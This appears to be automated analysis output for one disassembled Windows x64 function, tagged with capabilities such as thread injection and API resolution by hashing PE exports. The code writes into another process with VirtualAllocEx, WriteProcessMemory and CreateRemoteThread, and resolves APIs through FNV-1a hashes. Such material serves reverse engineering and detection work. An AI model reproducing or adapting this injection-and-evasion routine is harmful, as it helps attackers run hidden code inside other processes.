Function at 0x140084340
Capabilities:
Create thread
Encode data using xor
Hash data using fnv
Inject thread
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x5f0
movaps xmmword [rsp + 0x5e0], xmm6
mov rax, qword [0x14011c358]
xor rax, rsp
mov qword [rsp + 0x5d0], rax
mov r15, rcx
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0xe8], rcx
mov dword [rsp + 0x44], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4a0], xmm0
movups xmmword [rsp + 0x4b0], xmm0
movups xmmword [rsp + 0x4c0], xmm0
movups xmmword [rsp + 0x4d0], xmm0
movups xmmword [rsp + 0x4e0], xmm0
movups xmmword [rsp + 0x4f0], xmm0
movups xmmword [rsp + 0x500], xmm0
movaps xmmword [rsp + 0x510], xmm0
mov qword [rsp + 0x520], rax
mov esi, dword [rcx + 0x70]
movq rcx, xmm0
call fcn.1400a0b88
mov rdi, rax
mov r8, qword [rsp + 0x510]
mov rdx, qword [rsp + 0x508]
mov rcx, rax
call fcn.14009c440
mov rcx, qword [rsp + 0x508]
call fcn.1400a0b74
mov rcx, qword [rsp + 0x518]
add rcx, 4
mov rbx, 0xffffffffffffffff
cmovb rcx, rbx
call fcn.1400a0b88
mov qword [rsp + 0x508], rax
mov r8, qword [rsp + 0x518]
add r8, 4
mov qword [rsp + 0x510], r8
mov rdx, rdi
mov rcx, rax
call fcn.14009c440
mov rcx, qword [rsp + 0x518]
mov rax, qword [rsp + 0x508]
mov dword [rax + rcx], esi
add qword [rsp + 0x518], 4
mov rax, qword [rsp + 0x520]
mov dword [rsp + rax*4 + 0x4b4], 4
inc qword [rsp + 0x520]
lea rdx, [rsp + 0x4a0]
mov rcx, qword [r15 + 0x90]
call fcn.1400949a0
xor r8d, r8d
lea rdx, [rsp + 0x4a0]
mov rcx, qword [r15 + 0x90]
call fcn.1400918f0
test al, al
je 0x1400858cc
mov rax, qword [rsp + 0x508]
mov rcx, qword [rax]
mov qword [r15 + 8], rcx
movsxd rdx, dword [r15 + 0x70]
lea rcx, [r15 + 0x18]
call fcn.14008a410
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400844e7
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x430], rcx
mov qword [rsp + 0x438], rax
movups xmm0, xmmword [rsp + 0x430]
movups xmmword [rsp + 0x448], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x430], 1
lea rax, [rsp + 0x440]
mov qword [rsp + 0x438], rax
movaps xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, str.start_
mov qword [rsp + 0x430], rax
mov r13d, 8
mov qword [rsp + 0x438], r13
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x458]
call fcn.14007c210
mov dword [rsp + 0x44], r13d
lea rcx, [rsp + 0x458]
cmp qword [rsp + 0x470], 0x10
cmovae rcx, qword [rsp + 0x458]
call fcn.1400afd54
lea rcx, [rsp + 0x458]
call fcn.140069370
movsxd r8, dword [r15 + 0x70]
mov r9, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x20]
sub rcx, r9
movabs rax, 0x4ec4ec4ec4ec4ec5
imul rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r8
jbe 0x14008590d
movabs rdi, 0x7fffffffc46535fe
movabs rsi, 0x311cdad160000
movabs r12, 0x112e0be826d694b3
movsd xmm6, qword [0x1400d7590]
nop
imul rdx, r8, 0x68
add rdx, r9
mov rcx, r15
call fcn.140082ee0
test al, al
jne 0x140084769
call fcn.140098c2c
mov rbx, rax
call fcn.140098c10
cmp rbx, 0x989680
jne 0x140084643
imul rax, rax, 0x64
jmp 0x140084661
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rax, rdi
lea rdi, [rax + 0x3b9aca00]
jle 0x140084677
movabs rdi, 0x7fffffffffffffff
call fcn.140098c2c
mov rbx, rax
call fcn.140098c10
cmp rbx, 0x989680
jne 0x140084693
imul rbx, rax, 0x64
jmp 0x1400846b4
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rdi, rbx
je 0x140084727
jl 0x140084727
call fcn.140098d24
imul rcx, rax, 0x64
mov rax, rdi
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
jbe 0x1400846e1
mov rax, rsi
lea r8, [rcx + rsi]
jmp 0x1400846e5
lea r8, [rax + rcx]
add rcx, rax
mov rax, r12
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x430], rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
mov dword [rsp + 0x438], r8d
lea rcx, [rsp + 0x430]
call fcn.140098dd0
jmp 0x140084677
movsxd r8, dword [r15 + 0x70]
mov r9, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x20]
sub rcx, r9
movabs rax, 0x4ec4ec4ec4ec4ec5
imul rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r8
movabs rdi, 0x7fffffffc46535fe
jbe 0x14008590d
jmp 0x140084610
lea r9, [r15 + 0x10]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
mov rdx, r15
mov rcx, r15
call fcn.140080f80
mov rcx, qword [rsp + 0x508]
call fcn.1400a0b74
xor r12d, r12d
mov qword [rsp + 0x508], r12
mov qword [rsp + 0x518], r12
mov qword [rsp + 0x520], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4a0], xmm0
movups xmmword [rsp + 0x4b0], xmm0
movups xmmword [rsp + 0x4c0], xmm0
movups xmmword [rsp + 0x4d0], xmm0
movups xmmword [rsp + 0x4e0], xmm0
movups xmmword [rsp + 0x4f0], xmm0
mov dword [rsp + 0x500], eax
mov qword [rsp + 0x510], r13
mov rcx, r13
call fcn.1400a0b88
mov qword [rsp + 0x508], rax
mov ecx, r12d
mov qword [rsp + 0x518], rcx
mov qword [rsp + 0x520], r12
mov rsi, qword [r15]
mov rdx, qword [rsp + 0x510]
cmp rdx, r13
jae 0x1400848b1
mov rcx, rdx
call fcn.1400a0b88
mov rdi, rax
mov r8, qword [rsp + 0x510]
mov rdx, qword [rsp + 0x508]
mov rcx, rax
call fcn.14009c440
mov rcx, qword [rsp + 0x508]
call fcn.1400a0b74
mov rcx, qword [rsp + 0x518]
add rcx, r13
mov rbx, 0xffffffffffffffff
cmovb rcx, rbx
call fcn.1400a0b88
mov qword [rsp + 0x508], rax
mov r8, qword [rsp + 0x518]
add r8, r13
mov qword [rsp + 0x510], r8
mov rdx, rdi
mov rcx, rax
call fcn.14009c440
mov rcx, qword [rsp + 0x518]
mov rax, qword [rsp + 0x508]
jmp 0x1400848b8
mov rbx, 0xffffffffffffffff
mov qword [rax + rcx], rsi
add qword [rsp + 0x518], r13
mov rax, qword [rsp + 0x520]
mov dword [rsp + rax*4 + 0x4b4], r13d
inc qword [rsp + 0x520]
lea rdx, [rsp + 0x4a0]
mov rcx, qword [r15 + 0x90]
call fcn.1400949a0
xor r8d, r8d
lea rdx, [rsp + 0x4a0]
mov rcx, qword [r15 + 0x90]
call fcn.1400918f0
test al, al
je 0x1400858cc
xor edx, edx
lea rcx, [rsp + 0x4a0]
call fcn.140077c60
xorps xmm0, xmm0
movups xmmword [rsp + 0x550], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x560], xmm1
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140084940
mov rdx, rax
lea rcx, [rsp + 0x550]
call fcn.14006b760
nop
xor r8d, r8d
lea rdx, [0x1400d5878]
lea rcx, [rsp + 0x550]
call fcn.14008a220
nop
mov byte [rsp + 0x440], 0
xor edx, edx
lea rcx, [rsp + 0x448]
call fcn.14007dc40
nop
mov qword [rsp + 0x5c8], r12
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rsp + 0x590]
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x430]
call fcn.1400794a0
movzx edx, byte [rsp + 0x440]
movzx ecx, byte [rax]
mov byte [rsp + 0x440], cl
mov byte [rax], dl
lea r8, [rax + 8]
mov rax, qword [rsp + 0x448]
mov rcx, qword [r8]
mov qword [rsp + 0x448], rcx
mov qword [r8], rax
mov rcx, r8
call fcn.14008b6b0
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x430], xmm1
mov ecx, 0x50
call fcn.14009aa38
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x430], rax
mov dword [rsp + 0x44], 0x18
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x440]
call fcn.1400779a0
mov rax, qword [rsp + 0x430]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
cmp byte [rax + 0x19], 0
jne 0x140084af1
lea rbx, [rax + 0x20]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rbx + 0x10]
xor edx, edx
mov rcx, qword [r15 + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140084a8a
mov rbx, qword [rbx]
mov qword [rsp + 0x20], r12
mov r8, rbx
mov rdx, rdi
mov rcx, qword [r15 + 0xa0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rdi
mov r9, qword [r15 + 0xc8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [r15 + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rsp + 0x50]
call fcn.14007f730
mov rax, qword [rsp + 0x50]
cmp byte [rax + 0x19], 0
je 0x140084a54
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x430]
call fcn.14006cfd0
mov rcx, qword [r15 + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rdx, dword [r15 + 0x70]
lea rcx, [r15 + 0x18]
call fcn.14008a410
mov rdx, rax
mov rcx, r15
call fcn.140082ee0
test al, al
jne 0x140084b65
mov edx, 2
mov rcx, r15
call fcn.1400842f0
nop
movzx edx, byte [rsp + 0x440]
lea rcx, [rsp + 0x448]
call fcn.14008b6b0
nop
lea rcx, [rsp + 0x550]
call fcn.140069370
jmp 0x1400858d9
mov byte [rsp + 0x430], 0
xor edx, edx
lea rcx, [rsp + 0x438]
call fcn.14007dc40
nop
mov rax, qword [r15 + 0xa8]
mov qword [rsp + 0x50], rax
mov rcx, qword [r15 + 0xb0]
mov qword [rsp + 0xe8], rcx
cmp rax, rcx
je 0x1400856f8
movabs r15, 0x8000000000000000
nop dword [rax + rax]
lea rdi, [rax + 0x10]
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140084bc1
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x80], rax
test rax, rax
jne 0x140084bef
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140084be1
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x80], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov rsi, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x140084c0f
mov rdi, qword [rdi]
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140085c30
mov qword [rsp + 0x70], socket
lea rcx, [rsp + 0x58]
cmp rsi, 0x10
jae 0x140084c4b
mov qword [rsp + 0x68], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rdi
call fcn.14009c440
jmp 0x140084c82
mov rdx, rsi
call fcn.140085d90
mov rbx, rax
lea rdx, [rax + 1]
lea rcx, [rsp + 0x58]
call fcn.140069810
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.14009c440
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
setae cl
mov rbx, qword [rsp + 0x58]
cmovae rdi, rbx
lea rdx, [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
test cl, cl
je 0x140084cac
add rsi, rbx
jmp 0x140084cb4
add rsi, rdx
lea rbx, [rsp + 0x58]
cmp rbx, rsi
je 0x140084cd3
sub rdi, rbx
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.1400aaa5c
mov byte [rdi + rbx], al
inc rbx
cmp rbx, rsi
jne 0x140084cc0
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rsp + 0x570], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x580], xmm1
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], socket
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x58]
call fcn.140069370
nop
movzx r14d, byte [rsp + 0x440]
cmp r14b, 1
jne 0x14008575f
lea r8, [rsp + 0x570]
lea rdx, [rsp + 0xf0]
mov rdi, qword [rsp + 0x448]
mov rcx, rdi
call fcn.14006d2e0
mov rbx, qword [rsp + 0x100]
cmp byte [rbx + 0x19], 0
jne 0x14008575f
lea r8, [rbx + 0x20]
lea rdx, [rsp + 0x570]
mov rcx, rdi
call fcn.14006b510
test al, al
jne 0x14008575f
cmp rbx, qword [rdi]
je 0x14008575f
test r14b, r14b
jne 0x140084d94
mov byte [rsp + 0x440], r14b
call fcn.140077250
mov rdi, rax
mov qword [rsp + 0x448], rax
jmp 0x140084d9e
cmp r14b, 1
jne 0x140085bd0
lea rdx, [rsp + 0x570]
mov rcx, rdi
call fcn.14007f2f0
mov r9, rax
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x480], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x488], xmm1
mov rsi, r15
movzx edx, byte [rax]
mov r8d, edx
sub r8d, 1
je 0x140084e21
cmp r8d, 1
je 0x140084e10
test edx, edx
je 0x140084e01
sub edx, 1
je 0x140084e21
cmp edx, 1
je 0x140084e10
mov rsi, r12
mov rbx, qword [rsp + 0x480]
jmp 0x140084e2b
mov esi, 1
mov rbx, qword [rsp + 0x480]
jmp 0x140084e2b
mov rdi, qword [rax + 8]
mov rdi, qword [rdi]
mov rbx, qword [rsp + 0x480]
jmp 0x140084e33
mov rax, qword [rax + 8]
mov rbx, qword [rax]
mov rbx, qword [rbx]
mov rdi, qword [rsp + 0x488]
movdqu xmmword [rsp + 0xb0], xmm0
movdqu xmmword [rsp + 0xb8], xmm1
mov r12, r15
movzx ecx, byte [r9]
mov edx, ecx
sub edx, 1
je 0x140084e84
cmp edx, 1
je 0x140084e72
sub ecx, 1
je 0x140084e84
cmp ecx, 1
je 0x140084e72
mov r12d, 1
mov r15, qword [rsp + 0xb0]
jmp 0x140084e8b
mov r14, qword [r9 + 8]
mov r14, qword [r14 + 8]
mov r15, qword [rsp + 0xb0]
jmp 0x140084e93
mov r15, qword [r9 + 8]
mov r15, qword [r15]
mov r14, qword [rsp + 0xb8]
movzx ecx, byte [r9]
mov edx, ecx
sub edx, 1
je 0x140084ead
cmp edx, 1
je 0x140084ea8
cmp rsi, r12
jmp 0x140084eb0
cmp rdi, r14
jmp 0x140084eb0
cmp rbx, r15
setne al
test al, al
je 0x140085684
test ecx, ecx
je 0x140085b86
sub ecx, 1
je 0x140084ee0
cmp ecx, 1
je 0x140084edb
test rsi, rsi
jne 0x140085913
mov r8, r9
jmp 0x140084ee4
mov r8, rdi
jmp 0x140084ee4
lea r8, [rbx + 0x40]
mov qword [rsp + 0x48], r8
lea rax, [rsp + 0x90]
mov qword [rsp + 0x168], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x478], xmm0
mov qword [rsp + 0x488], 0
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
or r13d, 4
mov qword [rsp + 0x88], r13
mov dword [rsp + 0x44], r13d
movzx ecx, byte [r8]
cmp cl, 3
jne 0x140085b10
mov rdx, qword [r8 + 8]
lea rax, [rsp + 0x478]
cmp rax, rdx
je 0x140084f77
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140084f61
mov rdx, qword [rdx]
lea rcx, [rsp + 0x478]
call fcn.14008a2b0
mov r8, qword [rsp + 0x48]
movzx ecx, byte [r8]
lea rax, [rsp + 0x478]
mov rdx, qword [rsp + 0x478]
mov qword [rsp + 0x140], rdx
cmp qword [rsp + 0x490], 0x10
cmovae rax, rdx
mov r13, 0xffffffffffffffff
inc r13
cmp byte [rax + r13], 0
jne 0x140084fa3
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], 0
mov r9d, recv
mov qword [rsp + 0xc0], r9
mov byte [rsp + 0xa8], 0
mov rax, qword [rsp + 0x88]
or eax, 2
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x44], eax
cmp cl, 3
jne 0x140085a9a
mov rdx, qword [r8 + 8]
lea rax, [rsp + 0xa8]
cmp rax, rdx
je 0x14008502e
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140085019
mov rdx, qword [rdx]
lea rcx, [rsp + 0xa8]
call fcn.14008a2b0
mov r9, qword [rsp + 0xc0]
lea rdx, [rsp + 0xa8]
cmp r9, 0x10
setae byte [rsp + 0x40]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x138], rax
cmovae rdx, rax
mov r9d, 0x811c9dc5
mov dword [rsp + 0x78], r9d
mov r8d, r13d
xor ecx, ecx
test r13d, r13d
je 0x14008508b
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
mov dword [rsp + 0x78], r9d
inc rcx
cmp rcx, r8
jb 0x140085070
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov qword [rsp + 0x130], rax
mov rdx, qword [rsp + 0x80]
movsxd rax, dword [rdx + 0x3c]
mov r13d, dword [rax + rdx + 0x88]
add r13, rdx
mov eax, dword [r13 + 0x24]
add rax, rdx
mov qword [rsp + 0xd8], rax
mov ecx, dword [r13 + 0x1c]
add rcx, rdx
mov qword [rsp + 0xe0], rcx
mov eax, dword [r13 + 0x20]
add rax, rdx
mov qword [rsp + 0x110], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x128], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x590], xmm0
movups xmmword [rsp + 0x5a0], xmm0
movups xmmword [rsp + 0x5b0], xmm0
movups xmmword [rsp + 0x5c0], xmm0
mov r9d, 0x40
lea r8, [rsp + 0x590]
mov rdx, qword [rsp + 0x80]
mov rcx, 0xffffffffffffffff
call sub.KERNEL32.dll_K32GetModuleBaseNameA
xor r11d, r11d
xor r9d, r9d
mov qword [rsp + 0xd0], r9
mov eax, dword [r13 + 0x18]
mov dword [rsp + 0xc8], eax
test eax, eax
je 0x140085245
mov rdx, qword [rsp + 0x110]
mov r10, rdx
mov r8, qword [rsp + 0xe0]
mov rax, r8
sub rax, rdx
mov qword [rsp + 0x120], rax
mov r13d, dword [rsp + 0x78]
movsxd rcx, r11d
lea rax, [r8 + rcx*4]
cmp rax, r8
jb 0x140085225
mov rax, qword [rsp + 0x120]
cmp dword [rax + r10], 0
je 0x140085225
mov rax, qword [rsp + 0xd8]
lea rax, [rax + rcx*2]
cmp rax, qword [rsp + 0xd8]
jb 0x140085225
lea rax, [rdx + rcx*4]
cmp rax, rdx
jb 0x140085225
mov edx, dword [r10]
add rdx, qword [rsp + 0x80]
mov rax, 0xffffffffffffffff
mov r9d, 0x811c9dc5
nop word [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400851e0
mov r8d, eax
xor ecx, ecx
test eax, eax
je 0x140085208
movzx eax, byte [rcx + rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
inc rcx
cmp rcx, r8
jb 0x1400851f2
cmp r9d, r13d
je 0x140085281
mov rdx, qword [rsp + 0x110]
mov r8, qword [rsp + 0xe0]
mov r9, qword [rsp + 0xd0]
inc r11d
inc r9
mov qword [rsp + 0xd0], r9
add r10, 4
cmp r11d, dword [rsp + 0xc8]
jb 0x140085180
xor eax, eax
mov byte [rsp + 0x90], 6
mov qword [rsp + 0x98], rax
movzx eax, byte [rsp + 0x430]
test al, al
jne 0x1400853e4
mov byte [rsp + 0x430], 1
call fcn.140077250
mov qword [rsp + 0x438], rax
jmp 0x1400853f4
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xe0]
mov r9d, dword [rcx + rax*4]
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], 5
mov qword [rsp + 0x160], socket
mov r10, qword [rsp + 0x80]
mov eax, dword [r9 + r10]
mov dword [rsp + 0x148], eax
movzx eax, byte [r9 + r10 + 4]
mov byte [rsp + 0x14c], al
lea rax, [rsp + 0x148]
mov r11, 0xffffffffffffffff
mov rcx, r11
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400852f6
xorps xmm0, xmm0
movups xmmword [rsp + 0x458], xmm0
mov qword [rsp + 0x468], 5
mov qword [rsp + 0x470], 0xf
mov eax, dword [r9 + r10]
mov dword [rsp + 0x458], eax
movzx eax, byte [r9 + r10 + 4]
mov byte [rsp + 0x45c], al
mov edx, 0x811c9dc5
mov r8d, ecx
xor ecx, ecx
test r8, r8
je 0x140085368
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x458]
xor eax, edx
imul edx, eax, 0x1000193
inc rcx
cmp rcx, r8
jb 0x140085350
cmp edx, 0x1a7cf721
jne 0x1400853d4
lea rdx, [r9 + r10]
mov r9d, 0x811c9dc5
mov rax, r11
nop dword [rax]
inc rax
cmp byte [rdx + rax + 6], 0
jne 0x140085380
mov r8d, eax
xor ecx, ecx
test eax, eax
je 0x1400853b7
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rdx + 6]
xor eax, r9d
imul r9d, eax, 0x1000193
inc rcx
cmp rcx, r8
jb 0x1400853a0
mov r8, qword [rsp + 0x128]
mov rdx, r8
mov rcx, qword [rsp + 0x118]
call fcn.140082160
jmp 0x140085247
mov rax, qword [rsp + 0x130]
add rax, r9
jmp 0x140085247
cmp al, 1
jne 0x140085a3a
mov rax, qword [rsp + 0x438]
lea rdx, [rsp + 0x570]
mov rcx, rax
call fcn.14007f2f0
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], socket
mov byte [rsp + 0xf0], 0
mov rax, qword [rsp + 0x88]
or eax, 1
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x44], eax
mov rax, qword [rsp + 0x48]
cmp byte [rax], 3
jne 0x1400859c4
mov rdx, qword [rax + 8]
lea rax, [rsp + 0xf0]
cmp rax, rdx
je 0x140085483
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140085476
mov rdx, qword [rdx]
lea rcx, [rsp + 0xf0]
call fcn.14008a2b0
cmp byte [r13], 0
jne 0x140085498
mov byte [r13], 1
call fcn.140077250
mov qword [r13 + 8], rax
cmp byte [r13], 1
jne 0x140085969
lea rdx, [rsp + 0xf0]
mov rcx, qword [r13 + 8]
call fcn.14007f2f0
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x90]
mov byte [rax], cl
mov byte [rsp + 0x90], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x98]
mov qword [rax + 8], rdx
mov qword [rsp + 0x98], rcx
movzx edx, byte [rsp + 0x90]
lea rcx, [rsp + 0x98]
call fcn.14008b6b0
mov r13, qword [rsp + 0x88]
and r13d, 0xfffffffe
mov rdx, qword [rsp + 0x108]
cmp rdx, 0x10
jb 0x140085545
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140085540
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140085957
call fcn.14009a20c
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], socket
mov byte [rsp + 0xf0], 0
and r13d, 0xfffffffd
cmp byte [rsp + 0x40], 0
je 0x1400855ad
mov rdx, qword [rsp + 0xc0]
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400855a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008595d
call fcn.14009a20c
and r13d, 0xfffffffb
mov rax, qword [rsp + 0x490]
cmp rax, 0x10
jb 0x1400855f5
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400855f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140085963
call fcn.14009a20c
mov r9, qword [rsp + 0xa0]
movzx ecx, byte [r9]
sub ecx, 1
je 0x14008561c
cmp ecx, 1
je 0x140085613
inc rsi
jmp 0x140084e93
add rdi, 0x10
jmp 0x140084e93
mov rax, rbx
mov rbx, qword [rbx + 0x10]
cmp byte [rbx + 0x19], 0
je 0x14008565c
mov rbx, qword [rax + 8]
cmp byte [rbx + 0x19], 0
jne 0x140084e93
nop word [rax + rax]
cmp rax, qword [rbx + 0x10]
jne 0x140084e93
mov rax, rbx
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
je 0x140085640
jmp 0x140084e93
mov rcx, qword [rbx]
cmp byte [rcx + 0x19], 0
jne 0x140084e93
nop dword [rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140085670
jmp 0x140084e93
mov rdx, qword [rsp + 0x588]
cmp rdx, 0x10
jb 0x1400856c7
inc rdx
mov rcx, qword [rsp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400856c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140085bca
call fcn.14009a20c
movabs r15, 0x8000000000000000
xor r12d, r12d
mov rax, qword [rsp + 0x50]
add rax, 0x38
mov qword [rsp + 0x50], rax
cmp rax, qword [rsp + 0xe8]
jne 0x140084bb0
mov r15, qword [rsp + 0x118]
mov dword [rsp + 0x28], r12d
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 0xffffffff
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0x430]
call fcn.14008cc60
nop
mov rcx, qword [rsp + 0x540]
mov rdx, qword [rsp + 0x548]
cmp rcx, rdx
jae 0x140085771
lea rax, [rcx + 1]
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x530]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x530]
mov word [rax + rcx], 0
jmp 0x14008578b
lea rcx, [rsp + 0x570]
call fcn.140069370
jmp 0x1400856d4
xor r9d, r9d
movzx r8d, byte [rsp + 0x40]
lea edx, [r9 + 1]
lea rcx, [rsp + 0x530]
call fcn.140072d10
mov rcx, qword [rsp + 0x508]
call fcn.1400a0b74
mov qword [rsp + 0x508], r12
mov qword [rsp + 0x518], r12
mov qword [rsp + 0x520], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4a0], xmm0
movups xmmword [rsp + 0x4b0], xmm0
movups xmmword [rsp + 0x4c0], xmm0
movups xmmword [rsp + 0x4d0], xmm0
movups xmmword [rsp + 0x4e0], xmm0
movups xmmword [rsp + 0x4f0], xmm0
mov dword [rsp + 0x500], eax
mov rcx, qword [rsp + 0x540]
add rcx, 0xf
mov qword [rsp + 0x510], rcx
call fcn.1400a0b88
mov qword [rsp + 0x508], rax
mov qword [rsp + 0x518], r12
mov qword [rsp + 0x520], r12
mov rax, qword [rsp + 0x540]
lea r8, [rax + 1]
lea rdx, [rsp + 0x530]
cmp qword [rsp + 0x548], 0x10
cmovae rdx, qword [rsp + 0x530]
lea rcx, [rsp + 0x4a0]
call fcn.140077180
lea rdx, [rsp + 0x4a0]
mov rcx, qword [r15 + 0x90]
call fcn.1400949a0
nop
lea rcx, [rsp + 0x530]
call fcn.140069370
nop
movzx edx, byte [rsp + 0x430]
lea rcx, [rsp + 0x438]
call fcn.14008b6b0
nop
movzx edx, byte [rsp + 0x440]
lea rcx, [rsp + 0x448]
call fcn.14008b6b0
nop
mov r8, qword [rsp + 0x568]
cmp r8, 0x10
jb 0x1400858db
inc r8
mov rdx, qword [rsp + 0x550]
lea rcx, [rsp + 0x550]
call fcn.14008b4f0
jmp 0x1400858db
